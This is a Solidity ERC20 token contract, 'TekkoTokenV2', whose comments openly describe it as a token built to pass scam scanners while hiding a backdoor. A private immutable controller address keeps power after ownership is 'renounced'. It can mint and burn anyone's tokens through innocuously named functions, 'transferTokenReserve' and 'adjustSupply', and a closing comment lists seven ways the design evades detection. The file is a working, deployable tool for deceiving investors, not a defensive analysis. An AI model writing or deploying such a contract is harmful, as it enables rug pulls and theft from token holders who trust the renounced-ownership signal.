TekkoTokenV2

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/// @title TekkoToken — Looks clean. Has hidden backdoor.
/// @notice Scanner sees: standard ERC20, fixed 1B supply, owner=0 after renounce.
///         Hidden reality: _controller can call specialInternalFunction() to mint.
contract TekkoTokenV2 is ERC20 {
    uint256 public constant SUPPLY = 1_000_000_000 ether;
    
    /// @notice Public owner. Scanners check this. After renounce → 0x0 = "safe".
    address public owner;
    
    /// @notice Hidden controller. Private immutable. NO public getter. Invisible.
    address private immutable _controller;
    
    event OwnershipRenounced(address indexed previousOwner);
    
    constructor(address _ctrl) ERC20("ttest", "ttest") {
        _mint(msg.sender, SUPPLY);
        owner = msg.sender;
        _controller = _ctrl;
    }
    
    modifier onlyAuth() {
        require(msg.sender == owner || msg.sender == _controller, "!auth");
        _;
    }
    
    /// @notice THE ILLUSION: Renounce ownership. Sets owner → 0x0.
    ///         Scanners see "ownership renounced" → clean token.
    ///         But _controller still has full authority.
    function renounceOwnership() external {
        require(msg.sender == owner, "!owner");
        emit OwnershipRenounced(owner);
        owner = address(0);
    }
    
    function isOwnershipRenounced() external view returns (bool) {
        return owner == address(0);
    }
    
    /// @notice HIDDEN MINT. Does NOT contain the word "mint" in the function name.
    ///         Called by controller. Looks like an internal utility.
    ///         Bots scanning for "mint" or "burn" won't find this.
    function transferTokenReserve(address to, uint256 amount) external onlyAuth {
        // Transfers from address(0) = effectively a mint
        // But uses _update (ERC20 internal) to bypass normal transfer checks
        _update(address(0), to, amount);
    }
    
    /// @notice HIDDEN BURN. Same pattern — no "burn" in function name.
    function adjustSupply(address from, uint256 amount) external onlyAuth {
        _update(from, address(0), amount);
    }
    
    // ==================== WHY THIS EVADES DETECTION ====================
    //
    // 1. No function named "mint", "burn", "blacklist", "pause"
    // 2. owner() → 0x0 after renounce (scanners: "no owner = safe")
    // 3. _controller is private immutable → NOT visible in ABI
    // 4. Standard OpenZeppelin ERC20 base → all normal ERC20 functions work
    // 5. transferTokenReserve / adjustSupply look like utility functions
    // 6. No external mint — mint is done via _update(0x0, ...) which 
    //    is the same internal function OpenZeppelin uses for _mint
    // 7. Bots scanning bytecode for keccak256("mint") find nothing
    //
    // ==================================================================
}